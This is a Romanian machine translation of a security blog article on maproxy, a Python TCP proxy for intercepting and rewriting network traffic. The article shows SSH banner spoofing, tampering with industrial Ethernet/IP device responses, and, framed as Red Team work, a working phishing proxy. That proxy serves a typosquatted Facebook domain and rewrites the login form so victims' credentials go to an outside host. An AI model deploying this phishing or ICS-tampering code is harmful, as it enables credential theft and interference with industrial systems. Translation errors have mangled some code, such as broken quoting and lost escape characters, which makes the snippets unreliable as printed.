Traducerea articolului a fost pregătită în ajunul începerii cursului
adnotare
O varietate de tipuri de evaluări de securitate, de la testarea obișnuită de penetrare și operațiunile Red Team până la hackingul dispozitivelor IoT/ICS și SCADA, implică lucrul cu protocoale de rețea binare, adică, în esență, interceptarea și modificarea datelor de rețea dintre client și țintă. Mirosirea traficului de rețea nu este o sarcină dificilă, deoarece avem instrumente precum Wireshark, Tcpdump sau Scapy, dar modificarea pare a fi o sarcină mai laborioasă, deoarece va trebui să avem un fel de interfață pentru a citi datele rețelei, a le filtra, a schimba este din mers și trimite-l înapoi gazdei țintă aproape în timp real. În plus, ar fi ideal ca un astfel de instrument să funcționeze automat cu mai multe conexiuni paralele și să fie personalizabil folosind scripturi.
Într-o zi am descoperit un instrument numit
, documentația mi-a clarificat rapid că maproxy
– exact ce am nevoie. Acesta este un proxy TCP destul de simplu, versatil și ușor de configurat. Am testat acest instrument pe mai multe aplicații destul de complexe, inclusiv dispozitive ICS (care generează o mulțime de pachete) pentru a vedea dacă poate gestiona multe conexiuni paralele, iar instrumentul a funcționat bine.
Acest articol vă va introduce în procesarea datelor din rețea din mers folosind maproxy
.
Revizuire
Instrument maproxy
se bazează pe Tornado, un cadru de rețea asincron popular și matur în Python.
În general, poate funcționa în mai multe moduri:
TCP:TCP
– conexiuni TCP necriptate;TCP:SSL
иSSL:TCP
– cu criptare unidirecțională;SSL:SSL
– criptare în două sensuri.
Vine ca o bibliotecă. Pentru o pornire rapidă, puteți utiliza fișiere exemple care reflectă principalul
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Cazul 1 – proxy bidirecțional simplu
Bazat pe tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
În mod implicit ProxyServer()
are două argumente – locația conexiunii și portul țintă. server.listen()
are un singur argument - portul pentru ascultarea conexiunii de intrare.
Executarea scriptului:
# python tcp2tcp.py
Pentru a rula testul, ne vom conecta la un server SSH local prin scriptul nostru proxy, care ascultă 2222/tcp
port și se conectează la un port standard 22/tcp
Servere SSH:
Bannerul de bun venit vă informează că exemplul nostru de script a transferat cu succes traficul de rețea.
Cazul 2 – modificarea datelor
Un alt script demonstrativ logging_proxy.py
ideal pentru interacțiunea cu datele din rețea. Comentariile din fișier descriu metodele de clasă pe care le puteți modifica pentru a vă atinge obiectivul:
Cel mai interesant lucru este aici:
on_c2p_done_read
– să intercepteze date pe parcurs de la client la server;on_p2s_done_read
- inversat.
Să încercăm să schimbăm bannerul SSH pe care serverul îl returnează clientului:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Executați scriptul:
După cum puteți vedea, clientul a fost indus în eroare deoarece numele serverului SSH pentru el a fost schimbat în «DumnySSH»
.
Cazul 3 – pagină web simplă de phishing
Există nenumărate modalități de a utiliza acest instrument. De data aceasta, să ne concentrăm pe ceva mai practic din partea operațiunilor echipei Roșii. Să imităm pagina de destinație m.facebook.com
și utilizați un domeniu personalizat cu o greșeală de tipar deliberată, de exemplu, m.facebok.com
. În scopuri demonstrative, să presupunem doar că domeniul este înregistrat de noi.
Vom stabili o conexiune de rețea necriptată cu proxy-ul victimelor noastre și SSL Stream la serverul Facebook (31.13.81.36
). Pentru ca acest exemplu să funcționeze, trebuie să înlocuim antetul gazdei HTTP și să injectăm numele de gazdă corect și, de asemenea, vom dezactiva compresia răspunsului, astfel încât să putem accesa cu ușurință conținutul. În cele din urmă, vom înlocui formularul HTML, astfel încât datele de conectare să ne fie trimise în loc de serverele Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ro/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
În rezumat:
După cum puteți vedea, am reușit să înlocuim site-ul original.
Cazul 4 – Portare Ethernet/IP
Am de-a face cu dispozitive industriale și software (ICS/SCADA) de ceva timp, cum ar fi controlere programabile (PLC), module I/O, unități, relee, medii de programare ladder și multe altele. Acest caz este pentru cei cărora le plac lucrurile industriale. Hackingul unor astfel de soluții implică jocul activ cu protocoalele de rețea. În exemplul următor, aș dori să arăt cum puteți modifica traficul de rețea ICS/SCADA.
Pentru a face acest lucru, aveți nevoie de următoarele:
- Network sniffer, de exemplu, Wireshark;
- Ethernet/IP sau doar un dispozitiv SIP, îl puteți găsi folosind serviciul Shodan;
- Scenariul nostru se bazează pe
maproxy
.
Mai întâi, să ne uităm la cum arată un răspuns tipic de identificare de la CIP (Common Industrial Protocol):
Identificarea dispozitivului se realizează utilizând protocolul Ethernet/IP, care este o versiune îmbunătățită a protocolului Ethernet industrial, care include protocoale de control precum CIP. Vom schimba numele ID-ului evidențiat, care este vizibil în captură de ecran „NI-IndComm pentru Ethernet” folosind scriptul nostru proxy. Am putea reutiliza scenariul logging_proxy.py
și, în mod similar, modificați metoda clasei on_p2s_done_read
, deoarece dorim ca un alt nume de identitate să fie vizibil pe client.
Cod:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
În esență, am cerut de două ori identificarea dispozitivului, al doilea răspuns a fost cel original, iar primul a fost modificat din mers.
Și ultimul
În opinia mea maproxy
Un instrument comod și simplu, care este scris și în Python, așa că cred că și tu poți beneficia de pe urma utilizării lui. Desigur, există instrumente mai complexe pentru procesarea și modificarea datelor din rețea, dar necesită și mai multă atenție și sunt de obicei create pentru un anumit caz de utilizare, de ex. maproxy
vă puteți implementa rapid ideile pentru interceptarea datelor din rețea, deoarece exemplele de scripturi sunt foarte clare.
Sursa: www.habr.com